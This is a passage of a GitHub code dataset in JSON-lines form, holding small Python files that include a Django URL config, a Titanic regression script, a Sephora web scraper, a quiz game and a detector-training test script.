regex.sub(\"\\.babylon.*\", \"\", os.path.basename(file_path)))\n  headers[\"bookname\"] = f\"{headers['bookname']} {language.get_language_pair_string(file_path=file_path)}\"\n  set_html_headers(headers=headers)\n  return headers\n\n\ndef get_non_header_line_1_index(file_path):\n  headers = get_headers(file_path=file_path)\n  if len(headers) == 0:\n    return 1\n  else:\n    return len(headers) + 2","repo_name":"indic-dict/dict-curation","sub_path":"dict_curation/babylon/header_helper.py","file_name":"header_helper.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40579206182","text":"from .db import db\nfrom sqlalchemy.orm import relationship\nfrom .mixins.track_updates import TrackUpdates\nfrom .mixins.common_columns import CommonColumns\n\nclass Argument(db.Model, CommonColumns, TrackUpdates):\n  __tablename__ = 'arguments'\n\n  statement = db.Column(db.String(250), nullable = False, unique=True)\n  notes = db.Column(db.Text)\n\n  claim_relations = relationship('SupportRebut', back_populates='argument', order_by='SupportRebut.id')\n  ratings = relationship('Rating', back_populates='argument', order_by='Rating.hit_id')\n\n  # for to_history() keys are for python, and must match attribute key names of the model, so snake-case\n  def to_history(self):\n    return {\n      \"statement\": self.statement,\n      \"notes\": self.notes,\n    }\n\n  # to_dict functions are for javascript, so camel-case keys\n  def to_dict(self):\n    return {\n      \"id\": self.id,\n      \"statement\": self.statement,\n      \"notes\": self.notes,\n      \"createdBy\": self.created_by,\n      \"createdAt\": self.created_at,\n    }\n\n  def full_to_dict(self):\n    return {\n      \"id\": self.id,\n      \"statement\": self.statement,\n      \"notes\": self.notes,\n      \"createdBy\": self.created_by,\n      \"createdAt\": self.created_at,\n      \"supports\": [relation.get_claim() for relation in self.claim_relations if relation.supports == True],\n      \"rebuts\": [relation.get_claim() for relation in self.claim_relations if relation.supports == False]\n    }\n","repo_name":"scottgit/evidential","sub_path":"app/models/argument.py","file_name":"argument.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"24062339915","text":"\"\"\"\nPython Multitasks - Download sem thread\n    Autor: Júlia Onora da Silva\n    Data: 19 de janeiro de 2022\n\"\"\"\n\nimport requests\nimport time\n\nimg_urls = [\n    'https://images.unsplash.com/photo-1516117172878-fd2c41f4a759',\n    'https://images.unsplash.com/photo-1532009324734-20a7a5813719'\n]\n\nt1 = time.perf_counter()\n\nfor img_url in img_urls:\n    img_bytes = requests.get(img_url).content\n    img_name = img_url.split('/')[3]\n    img_name = (f\"{img_name}.jpg\")\n\n    with open(img_name, 'wb') as img_file:\n        img_file.write(img_bytes)\n        print(f\"{img_name} was downloaded...\")\n\nt2 = time.perf_counter()\n\nprint(f\"Finished in {t2-t1} seconds\")","repo_name":"JuliaOnora/PythonMultitasks","sub_path":"Thread/DownloadImagThread/downloadWithoutThread.py","file_name":"downloadWithoutThread.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2905826055","text":"# -*- coding: utf-8 -*-\n# Common imports\nimport numpy as np\nimport pandas as pd\nfrom sklearn import datasets, linear_model\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.tree import DecisionTreeClassifier\nimport statsmodels.api as sm\nfrom scipy import stats\nimport math\n\ndf = pd.read_csv('Data/train.csv',index_col = 'PassengerId')\nprint(list(df.columns.values))\n\ndf['Sex'] = df['Sex'].map({'female': 1, 'male': 0})\ndf = df[['Survived','Sex','Age','Pclass','SibSp','Parch','Fare']]\ndf = df.dropna()\n\ndf['AgeRange'] = df['Age'].apply(lambda element: math.floor((element/10)))\nprint(pd.get_dummies(df['Sex']))\n\n\ndf2 = pd.get_dummies(df,columns = ['AgeRange'])\nprint(df2.head())\n\ndf3 = pd.get_dummies(df2,columns = ['Pclass'])\nprint(df3.head())\n\ndf3['Fmem'] = df3['SibSp'] + df3['Parch']\nprint(df3['Fmem'])\n\nprint(max(df3['Fmem']))\n\nprint(list(df3.columns.values))\n\nX = df3[['Sex', 'Fare', 'AgeRange_0', 'AgeRange_1', 'AgeRange_2', 'AgeRange_3', 'AgeRange_4', 'AgeRange_5', 'AgeRange_6', 'AgeRange_7', 'AgeRange_8', 'Pclass_1', 'Pclass_2', 'Pclass_3', 'Fmem']]\ny = df3[['Survived']]\n\nX2 = sm.add_constant(X)\nest = sm.OLS(y, X2)\nest2 = est.fit()\nprint(est2.summary())\n\ndf3['YoungTarts'] = df3['AgeRange_0']\nprint(df3['YoungTarts'])\n\ndf3['OldFarts'] = df3['AgeRange_4'] + df3['AgeRange_5'] + df3['AgeRange_6'] + df3['AgeRange_7']\nprint(df3['OldFarts'])\n\nX = df3[['Sex', 'Fare', 'YoungTarts', 'OldFarts', 'Pclass_1', 'Pclass_2', 'Pclass_3', 'Fmem']]\ny = df3[['Survived']]\n\nX2 = sm.add_constant(X)\nest = sm.OLS(y, X2)\nest2 = est.fit()\nprint(est2.summary())\n\ndftest = pd.read_csv('Data/test.csv',index_col = 'PassengerId')\ndftest['Sex'] = dftest['Sex'].map({'female': 1, 'male': 0})\ndftest = dftest[['Sex','Age','Pclass','SibSp','Parch','Fare']]\ndftest = dftest.dropna()\ndftest['AgeRange'] = dftest['Age'].apply(lambda element: math.floor((element/10)))\ndftest2 = pd.get_dummies(dftest,columns = ['AgeRange'])\ndftest3 = pd.get_dummies(dftest2,columns = ['Pclass'])\ndftest3['Fmem'] = dftest3['SibSp'] + dftest3['Parch']\ndftest3['YoungTarts'] = dftest3['AgeRange_0']\ndftest3['OldFarts'] = dftest3['AgeRange_4'] + dftest3['AgeRange_5'] + dftest3['AgeRange_6'] + dftest3['AgeRange_7']\nX = dftest3[['Sex', 'Fare', 'YoungTarts', 'OldFarts', 'Pclass_1', 'Pclass_2', 'Pclass_3', 'Fmem']]\nprint(list(dftest3.columns.values))\nprint(est2.predict(X))\n","repo_name":"AndreVerhoek/titanic-survivor-forecast","sub_path":"Titanic_forecast.py","file_name":"Titanic_forecast.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73019089528","text":"\"\"\"Constants for the Octo Slample project.\n\nThis module contains constants for the Octo Slample project. These\nconstants are used throughout the project to ensure consistency and to\navoid magic numbers.\n\"\"\"\nBEATS_PER_BAR = 4\nDEFAULT_BPM = 120\nDEFAULT_CHANNEL_COUNT = 8\nDEFAULT_STEP_COUNT = 16\nSECONDS_PER_MINUTE = 60\nSIXTEENTHS_PER_BAR = 16\n","repo_name":"peteb4ker/octo-slample","sub_path":"octo_slample/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"39239163784","text":"import numpy as np\nimport pandas as pd\nimport torch\n# from learn_detector_RNN import RNNModel, learn_detector_RNN\nfrom torch.autograd import Variable\nfrom learn_detector import RNNModel, learn_detector_RNN\nfrom utils.settings_baseline import motor_speed_bias, quadruple_tank_bias, lane_keeping, f16_bias, aircraft_pitch_bias, \\\n    boeing747_bias, platoon_bias, quadrotor_bias, rlc_circuit_bias\ninput_dim = 2\noutput_dim = 1\nhidden_dim = 128\nbatch_size = 1\nlayer_dim = 1\nseq_dim = 1\n# model = RNNModel(input_dim, hidden_dim, layer_dim, output_dim)\nlearn_detector_RNN = learn_detector_RNN(input_dim=input_dim, output_dim=output_dim, hidden_dim=hidden_dim, exp=quadruple_tank_bias)\n\nlearn_detector_RNN.train(EPOCH=1000)\n# torch.load('D:\\CPSL\\DAC_Adversarial_Attack\\emsoft\\save\\model.pt')\n\n\n# model = torch.load(\"save\\model.pt\", map_location=torch.device('cpu'))\nmodel = learn_detector_RNN.model\nmodel.eval()\ntrain_data, alarm_data, index = learn_detector_RNN.generate_test_data(attack=np.array([0.05, 0]))\npredict_list = []\nprint((model))\nfor i in range(index):\n    train = Variable(torch.tensor(train_data[0][i]).view(-1, seq_dim, input_dim))\n    train = train.to((torch.float32))\n    predict_list.append(model((train)))\n\nfor i in range(len(predict_list)):\n    print(f'i:{i}, predict: {predict_list[i]}, train:{train_data[0][i][:]},label:{alarm_data[i]}')\n","repo_name":"ShixiongJiang/DAC_Adversarial_Attack","sub_path":"emsoft/old_version/test_learned_detector.py","file_name":"test_learned_detector.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27348306682","text":"from django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import include, path\nfrom rest_framework.routers import DefaultRouter, SimpleRouter\n\nfrom supplierapi.apps.company.views import CompanyViewSet\nfrom supplierapi.apps.general.views import (\n    CountryViewSet,\n    DialingCodeViewSet,\n    IndustryViewSet,\n)\nfrom supplierapi.apps.user.views import CustomAuthToken, UserViewSet\n\nif settings.DEBUG:\n    router = DefaultRouter()\nelse:\n    router = SimpleRouter()\n\nrouter.register(\"users\", UserViewSet)\nrouter.register(\"companies\", CompanyViewSet)\nrouter.register(\"industries\", IndustryViewSet)\nrouter.register(\"countries\", CountryViewSet)\nrouter.register(\"dialing_codes\", DialingCodeViewSet)\n\nurlpatterns = [\n    path(settings.ADMIN_URL, admin.site.urls),\n    path(\"\", include(router.urls)),\n    path(\"authenticate/\", CustomAuthToken.as_view()),\n]\n\nif settings.DEBUG and \"debug_toolbar\" in settings.INSTALLED_APPS:\n    import debug_toolbar\n\n    urlpatterns = [path(\"__debug__/\", include(debug_toolbar.urls))] + urlpatterns\n","repo_name":"KGuzikowski/supplierAPI","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"33635678584","text":"import requests\nimport os\n\nLD_API_KEY = os.getenv(\"LD_API_KEY\")\nif not LD_API_KEY:\n    raise Exception(\n        f\"The 'LD_API_KEY' environment variable has not been setup, has expired or was revoked in GH Secrets.\"\n    )\n\nENVIRONMENT = os.getenv(\"BRANCH\")\nif not ENVIRONMENT:\n    raise Exception(f\"The 'ENVIRONMENT' environment variable was not set.\")\n\nACCEPTED_ENVIRONMENTS = [\"dev\", \"stage\"]\nif not ENVIRONMENT in ACCEPTED_ENVIRONMENTS:\n    raise Exception(\n        f\"The 'ENVIRONMENT' environment variable is not one of the allowed values. Accepted: {ACCEPTED_ENVIRONMENTS}. Was: '{ENVIRONMENT}'\"\n    )\n\nURL = \"https://app.launchdarkly.com/api/v2/flags/smart-assistant/code-freeze\"\nheaders = {\"Authorization\": LD_API_KEY}\nresponse = requests.get(URL, headers=headers)\n\ndata = response.json()\nif data[\"environments\"][ENVIRONMENT][\"on\"]:\n    raise Exception(\n        f\"There is a code freeze in {ENVIRONMENT}. Merging new code is currently not permitted.\"\n    )\n","repo_name":"provEdgardoGutierrez/rasa-playground","sub_path":".github/workflows/code_freeze.py","file_name":"code_freeze.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73034255287","text":"import json\nimport os\nimport scrapy\nimport json\nfrom scrapy.spiders import Rule, CrawlSpider\nfrom scrapy.linkextractors import LinkExtractor\nfrom source.items import ProductItem\nfrom bs4 import BeautifulSoup\nimport requests\n\n\nclass SephoraSpider(CrawlSpider):\n    name = \"sephora\"\n    custom_settings = {\"IMAGES_STORE\": '../images/sephora'}\n    base_url = \"https://www.sephora.com\"\n    allowed_domains = [\"sephora.com\"]\n    start_urls = [\n        \"https://www.sephora.com/shop/makeup-cosmetics\",\n        \"https://www.sephora.com/shop/skincare\",\n        \"https://www.sephora.com/shop/fragrance\",\n        \"https://www.sephora.com/shop/hair-products\",\n        \"https://www.sephora.com/shop/men\",\n        \"https://www.sephora.com/shop/bath-body\",\n        \"https://www.sephora.com/shop/makeup-tools\"\n    ]\n\n    def parse_start_url(self, response):\n        base_category = response.url.split(\"/\")[-1]\n        soup = BeautifulSoup(requests.get(response.url).text)\n        category_soups = soup.findAll(\"a\", {\"data-at\": \"top_level_category\"})\n        for category_soup in category_soups:\n            category_url = category_soup[\"href\"]\n            category_name = category_soup.text\n            new_category_url = SephoraSpider.base_url + category_url\n            my_request = scrapy.Request(\n                new_category_url,\n                callback=self.parse_subcategory\n            )\n            my_request.meta[\"category_info\"] = {\n                \"base_category\": base_category,\n                \"category\": category_name\n            }\n            yield my_request\n\n    def parse_subcategory(self, response):\n        soup = BeautifulSoup(requests.get(response.url).text)\n        sub_category_soups = soup.findAll(\"a\", {\"data-at\": \"nth_level\"})\n        for sub_category_soup in sub_category_soups:\n            sub_category_url = sub_category_soup[\"href\"]\n            sub_category_name = sub_category_soup.text\n            sub_category_url = SephoraSpider.base_url + sub_category_url\n            my_request = scrapy.Request(\n                sub_category_url,\n                callback=self.parse_items\n            )\n\n            my_request.meta[\"category_info\"] = {\n                \"category\": response.meta[\"category_info\"][\"category\"],\n                \"base_category\": response.meta[\"category_info\"][\"base_category\"],\n                \"sub_category\": sub_category_name,\n            }\n            yield my_request\n\n    def parse_items(self, response):\n        category = response.meta['category_info']\n        soup = BeautifulSoup(requests.get(response.url, timeout=3).text)\n        products = json.loads(soup.findAll(\"script\", {\"type\": \"application/ld+json\"})[1].text)\n        number_of_products = soup.find(\"span\", {\"data-at\": \"number_of_products\"}).text\n        number_of_products = \"\".join([s for s in number_of_products if s.isdigit()]) if number_of_products else \"60\"\n        number_of_products = int(number_of_products)\n        if number_of_products > 60:\n            for i in range(2, 2 + int(number_of_products / 60)):\n                my_request = scrapy.Request(\n                    response.url + \"?currentPage=%s\" % i,\n                    callback=self.parse_next_page_items\n                )\n                my_request.meta[\"category_info\"] = response.meta['category_info']\n                yield my_request\n\n        for product in products:\n            soup_product = BeautifulSoup(requests.get(product[\"url\"]).text)\n            long_desc = json.loads(\n                soup_product.findAll(\"script\")[19].text\n            )[6][\"props\"][\"currentProduct\"][\"longDescription\"]\n            print (long_desc)\n            item = ProductItem(\n                type=product[\"@type\"],\n                brand=product[\"brand\"],\n                category=product[\"category\"],\n                name=product[\"name\"],\n                long_desc=long_desc,\n                price=product.get(\"offers\", {}).get(\"price\", \"unknown\"),\n                seller=product.get(\"offers\", {}).get(\"seller\", {}).get(\"name\", \"\"),\n                sku=product.get(\"offers\", {}).get(\"sku\", \"\"),\n                url=product[\"url\"],\n                availability=product.get(\"offers\", {}).get(\"availability\", \"\"),\n                level1=category[\"base_category\"],\n                level2=category[\"category\"],\n                level3=category[\"sub_category\"],\n            )\n            yield item\n\n\n    def parse_next_page_items(self, response):\n        category = response.meta['category_info']\n        soup = BeautifulSoup(requests.get(response.url, timeout=3).text)\n        products = json.loads(soup.findAll(\"script\", {\"type\": \"application/ld+json\"})[1].text)\n        number_of_products = soup.find(\"span\", {\"data-at\": \"number_of_products\"}).text\n        number_of_products = \"\".join([s for s in number_of_products if s.isdigit()]) if number_of_products else \"60\"\n        number_of_products = int(number_of_products)\n        for product in products:\n            soup_product = BeautifulSoup(requests.get(product[\"url\"]).text)\n            long_desc = json.loads(\n                soup_product.findAll(\"script\")[19].text\n            )[6][\"props\"][\"currentProduct\"][\"longDescription\"]\n            item = ProductItem(\n                type=product[\"@type\"],\n                brand=product[\"brand\"],\n                category=product[\"category\"],\n                name=product[\"name\"],\n                long_desc=long_desc,\n                price=product.get(\"offers\", {}).get(\"price\", \"unknown\"),\n                seller=product.get(\"offers\", {}).get(\"seller\", {}).get(\"name\", \"\"),\n                sku=product.get(\"offers\", {}).get(\"sku\", \"\"),\n                url=product[\"url\"],\n                availability=product.get(\"offers\", {}).get(\"availability\", \"\"),\n                level1=category[\"base_category\"],\n                level2=category[\"category\"],\n                level3=category[\"sub_category\"],\n            )\n            yield item\n\n","repo_name":"hhan-hearst/ad_taxonomy_not_maintained","sub_path":"source/spiders/sephora_spider.py","file_name":"sephora_spider.py","file_ext":"py","file_size_in_byte":5896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37231264389","text":"from .spm_data_cuts import *\n\nprint(\"ahoj\")\n\nclass LineData:\n    \"\"\"1D data\n    \"\"\"\n    \n    def __init__(self):\n        self.channels = {}\n        self.num = 0\n        self.data = None\n        self.metadata = {}\n        \n    def load_data(self, filename, header=True):\n        \"\"\"load data from external file\n        \n        header - if True, then only a header is read\n        \"\"\"\n    \n        with open(filename, 'r') as f:\n            nrows = 1\n            line = f.readline().strip()\n            while line != '[DATA]': \n                line = line.split()\n                if not line:\n                    pass\n                elif line[0] == 'Date':\n                    self.metadata['date'] = line[1]\n                    self.metadata['time'] = line[2]\n                elif line[0] == 'Z' and \\\n                    line[1] == 'Spectroscopy>Channels':\n                    line = ' '.join(line[2:]).split(';')\n                    self.metadata['channels'] = line\n#                elif ...\n#                 SEM KDYZTAK PRIDAT DALSI POLOZKY\n\n#                try:\n#                    self.metadata[key] = float(val)\n#                except ValueError:\n#                    print(\"load_data: Cannot convert value into float.\")\n                    \n                nrows += 1\n                line = f.readline().strip()\n\n            chans = f.readline().strip().split('\\t')\n            nrows += 1\n        \n        if not header:\n            self.data = np.loadtxt(filename, skiprows=nrows).T                 \n            quandict = {'Z rel (m)':ZREL, 'Current (A)':CURR, 'Z (m)':ELEV,\n                'Phase (deg)':PHAS, 'Amplitude (m)':AMPL, 'Frequency Shift (Hz)':FREQ,\n                'Excitation (V)':EXCI, 'Current [bwd] (A)':CURRB, 'Z [bwd] (m)':ELEVB,\n                'Phase [bwd] (deg)':PHASB, 'Amplitude [bwd] (m)':AMPLB,\n                'Frequency Shift [bwd] (Hz)':FREQB, 'Excitation [bwd] (V)':EXCIB\n                }\n                     \n            for i, chan in enumerate(chans):\n                if chan not in quandict:\n                    print(\"load_data: Invalid channel.\")\n                else:\n                    self.channels[quandict[chan]] = self.data[i]\n            \n    def show_channels(self, *cl, linespec=\"b-\"):\n        \"\"\"plot 1D data of channels\n        \n        cl - list of channels to plot\n        linespec - format specification of lines\n        \"\"\"\n\n        # pick only valid channels\n        chanlist = [chan for chan in cl if chan in self.channels]\n            \n        if len(chanlist) == 0:\n            print(\"show_channels: No valid channels.\")\n            return\n            \n        # create figure\n        fig, subfiglist = plt.subplots(1, len(chanlist), squeeze=False, num=\"1D Data - channels: \" + \", \".join(chanlist))\n        subfiglist = subfiglist[0]\n        \n        # plot each valid channel\n        for i, chan in enumerate(chanlist):\n            datal = range(len(self.channels[chan]))\n            subfiglist[i].plot(datal, self.channels[chan], linespec)\n            subfiglist[i].set_xlim([0, len(datal)])\n            subfiglist[i].set_title(\"Channel: {} [units: {}]\".format(chan, UNITS[chan]))\n            subfiglist[i].set_xlabel(\"No. of steps\")\n            subfiglist[i].set_ylabel(\"{}\".format(UNITS[chan]))\n        \n        # show\n        fig.tight_layout()\n        plt.show()\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n    print(\"LINE TEST MODE\")\n    \n    filename='/home/jaroslav/Plocha/FZU/MartinSvecProgramy/spm_data_3/Spectroscopy/Z_Spectroscopy_044.dat'\n    \n    a = LineData()\n    a.load_data(filename)\n\n#    print(a.data[:5])\n#    print(a.channels[ZREL][:5])\n    \n#    a.show_channels(AMPL, ZREL, PHAS)\n    a.show_channels(AMPL)\n","repo_name":"JozumBjada/spm_toolkit","sub_path":"spm_data_1d.py","file_name":"spm_data_1d.py","file_ext":"py","file_size_in_byte":3692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70020475449","text":"from data import question_data_mcq\r\nfrom data import logo\r\nfrom data import question_data_tf\r\nfrom question_model import Question\r\nfrom quiz_brain import QuizBrain\r\nfrom random import shuffle\r\nimport csv\r\n\r\ngame_on = True\r\nchoice = 0\r\n\r\n\r\n# TODO 2 : CREATE A LIST OF QUESTION OBJECTS WITH QUESTION AND ANSWERS\r\n\r\n# TODO 12: CREATE SCOREBOARD WITH PERCENTAGE:\r\ndef scoreboard(percent, name_p):\r\n    player = [name_p, percent]\r\n    with open(\"scoreboard.csv\", 'a', newline=\"\") as f:\r\n        writer = csv.writer(f)\r\n        writer.writerow(player)\r\n    with open(\"scoreboard.csv\", \"r\") as f:\r\n        reader = csv.reader(f)\r\n        position = 1\r\n        print(\"\\t\\tSCOREBOARD\")\r\n        for i in reader:\r\n            print(position,\". Name:\",i[0],\"\\t\\t\\tScore:\",i[1])\r\n            position += 1\r\n\r\n\r\ndef game_process(questions):\r\n    # TODO 9 : APPEND ANSWER LIST WITH POSSIBLE OPTIONS OF ANSWER\r\n\r\n    # TODO 10: FOR MCQ TYPE PRINT THE OPTIONS\r\n\r\n    question_bank = []\r\n    shuffle(questions)\r\n    for i in questions:\r\n        question_text = i[\"question\"]\r\n        question_answer = i[\"correct_answer\"]\r\n        answer_list = [question_answer, question_answer.lower()]\r\n\r\n        if choice == \"1\":\r\n            options = [\"True\", \"False\"]\r\n            answer_list.append(question_answer[0].lower())\r\n            answer_index = options.index(question_answer)\r\n            answer_list.append(str(answer_index + 1))\r\n        else:\r\n            i[\"incorrect_answers\"].append(i[\"correct_answer\"])\r\n            options = i[\"incorrect_answers\"]\r\n            shuffle(options)\r\n            answer_index = options.index(question_answer)\r\n            answer_list.append(str(answer_index + 1))\r\n\r\n        new_question = Question(question_text, question_answer, options, answer_list)\r\n        question_bank.append(new_question)\r\n\r\n    object1 = QuizBrain(question_bank)\r\n\r\n    # TODO 11: PRINT THE MAXIMUM NUMBER OF QUESTIONS AVAILABLE AND ASK THE USER FOR HOW MANY QUESTIONS THEY WOULD PLAY\r\n\r\n    print(\"How many questions do you wanna play?? There are 50 questions available.... \")\r\n    number = int(input())\r\n    if number <= 50:\r\n        for i in range(0, number):\r\n            object1.next_question()\r\n    else:\r\n        print(\"Enter a number less than 50...\")\r\n        return True\r\n\r\n    print(\"\\nDo you wanna play another game??... \")\r\n    restart = input()\r\n    if restart in ('Yes', 'yes', 'y', 'Y'):\r\n        return True\r\n    else:\r\n        name = input(\"Enter your name: \")\r\n        accuracy = object1.score / number*100\r\n        print(\"Your percentage is :\", accuracy)\r\n        scoreboard(accuracy, name)\r\n        return False\r\n\r\n\r\n# print(question_bank[0].text, question_bank[0].answer)\r\n# The above statement accesses the first question and answer, that is the first object\r\n# and it's attributes\r\n\r\nprint(logo)\r\nprint(\"\\n\\nWelcome to The BrainStorm Quiz... \")\r\nprint(\"\\nAfter playing the game you can give your feedback to the coder MunchaBrain..\\n\\nSuggestions are welcomed!!\")\r\n\r\n\r\n# TODO 7 : CREATE TWO TYPES OF GAMES TRUE OR FALSE\r\ndef quiz_game():\r\n    print(\"You have two types of games to play..\\n1.True or False Game\\n2.Multiple Choice Questions\")\r\n    print(\"Which one would you like to play?.. Type 1 or 2... : \")\r\n    global choice\r\n    choice = input()\r\n\r\n    # TODO 8 : CREATE SEPARATE DATA BASE FOR THE TYPE AND SHORTEN CODE\r\n\r\n    if choice == \"1\":\r\n        print(\"\\nYou have chosen True or False Game..\")\r\n        data_list = question_data_tf\r\n    elif choice == \"2\":\r\n        print(\"\\nYou have chosen Multiple Choice Questions Game..\")\r\n        data_list = question_data_mcq\r\n    elif choice == \"end\":\r\n        return False\r\n    else:\r\n        print(\"\\nInvalid Input....\")\r\n        quiz_game()\r\n\r\n    global game_on\r\n    game_on = game_process(data_list)\r\n\r\n\r\nwhile game_on:\r\n    quiz_game()\r\n\r\n# The alternate to print the final score in the other class :\r\n# print(f\"You have completed the quiz!!!...\")\r\n# print(f\"Your Final Score is: {object1.score}/{object1.question_number}\")\r\nprint(\"\\nThank You for playing this Game... Good Byee...\")\r\ninput()\r\n","repo_name":"Nandikaa-Ganesh/Quiz-Game-Project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27515877534","text":"from poap.controller import ProcessWorkerThread\nimport numpy as np\nfrom subprocess import Popen, PIPE\nimport os\n\ndef array2str(x):\n    return \",\".join(np.char.mod('%f', x))\n\nclass SphereExt:\n    def __init__(self, dim=10):\n        self.xlow = -15 * np.ones(dim)\n        self.xup = 20 * np.ones(dim)\n        self.dim = dim\n        self.info = str(dim)+\"-dimensional Sphere function \\n\" +\\\n                             \"Global optimum: f(0,0,...,0) = 0\"\n        self.min = 0\n        self.integer = []\n        self.continuous = np.arange(0, dim)\n        assert os.path.isfile(\"./test/sphere_ext\"), \"You need to build sphere_ext\" \\\n            \" or specify another path and/or filename\"\n\n\nclass objfunction(ProcessWorkerThread):\n\n    def handle_eval(self, record):\n        self.process = Popen(['./test/sphere_ext', array2str(record.params[0])],\n                             stdout=PIPE)\n        out = self.process.communicate()[0]\n        try:\n            val = float(out)  # This raises ValueError if out is not a float\n            self.finish_success(record, val)\n        except ValueError:\n            self.finish_failure(record)","repo_name":"ilija139/HORD","sub_path":"pySOT/src/test/SphereExt.py","file_name":"SphereExt.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"77"}
+{"seq_id":"39130544338","text":"\"\"\"cat_project URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n    path('create/', views.create, name = 'create'),\n    path('getApi/', views.getApi, name='getApi'),\n    path('getApi_marked/', views.getApi_marked, name='getApi_marked'),\n    path('complaint/', views.complaint, name='complaint'),\n    path('feed/', views.feed, name='feed'),\n    path('snack/', views.snack, name='snack'),\n    path('injury/', views.injury, name='injury'),\n\n]\n","repo_name":"corykim2/Stray_cat_Hackathon","sub_path":"cat_project/apps/cat_inf/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6562942926","text":"from gen_formats import _format_words, _print_section\nfrom iodata.api import INPUT_MODULES\n\n\n__all__ = []\n\n\nHEADER = \"\"\"\n\n.. _input_formats:\n\nSupported Input Formats\n#######################\n\n\"\"\"\n\nTEMPLATE = \"\"\"\nDefault Template\n----------------\n.. code-block:: python\n\n    '''\\\\\n{code_block_lines}\n    '''\n\"\"\"\n\n\ndef main():\n    \"\"\"Write inputs.rst to stdout.\"\"\"\n    print(HEADER)\n    for modname, module in sorted(INPUT_MODULES.items()):\n        if not hasattr(module, \"write_input\"):\n            continue\n        lines = module.__doc__.split('\\n')\n        # add labels for cross-referencing format (e.g. in formats table)\n        print(f\".. _input_{modname}:\")\n        print()\n        _print_section('{} (``{}``)'.format(lines[0][:-1], modname), \"=\")\n        print()\n        for line in lines[2:]:\n            print(line)\n\n        _print_section(\":py:func:`iodata.formats.{}.write_input`\".format(modname), \"-\")\n        fn = getattr(module, \"write_input\", None)\n        print(\"- Requires\", _format_words(fn.required))\n        if fn.optional:\n            print(\"- May use\", _format_words(fn.optional))\n        if fn.kwdocs:\n            print(\"- Keyword arguments\", _format_words(fn.kwdocs))\n        if fn.notes:\n            print()\n            print(fn.notes)\n        print()\n        template = getattr(module, \"default_template\", None)\n        if template:\n            code_block_lines = [\"    \" + l for l in template.split(\"\\n\")]\n            print(TEMPLATE.format(code_block_lines=\"\\n\".join(code_block_lines)))\n        print()\n        print()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"theochem/iodata","sub_path":"doc/gen_inputs.py","file_name":"gen_inputs.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"77"}
+{"seq_id":"37877953845","text":"import numpy as np\nfrom scipy import stats\n\nclass Utterance:\n    def __init__(self, frames_fpath, wave_fpath):\n        self.frames_fpath = frames_fpath\n        self.wave_fpath = wave_fpath\n\n    def get_frames(self):\n        frames = np.load(self.frames_fpath)\n        if(frames.shape[1]==160):  ## Zscore normalize raw audio frame\n            frames = stats.zscore(frames, axis=1, ddof=1)\n            \n        return frames\n\n    def random_partial(self, n_frames):\n        \"\"\"\n        Crops the frames into a partial utterance of n_frames\n\n        :param n_frames: The number of frames of the partial utterance\n        :return: the partial utterance frames and a tuple indicating the start and end of the\n        partial utterance in the complete utterance.\n        \"\"\"\n\n        frames = self.get_frames()\n\n        ## Make sure the data is of minimum length \"windows_size\"\n        if (frames.shape[0]-n_frames < 0):\n            factor = int(np.ceil(n_frames/frames.shape[0]))\n            frames = np.tile(frames,(factor+1,1))\n\n        if frames.shape[0] == n_frames:\n            start = 0\n        else:\n            start = np.random.randint(0, frames.shape[0] - n_frames)\n        end = start + n_frames\n        return frames[start:end], (start, end)\n","repo_name":"iPRoBe-lab/DeepTalk","sub_path":"encoder/data_objects/utterance.py","file_name":"utterance.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
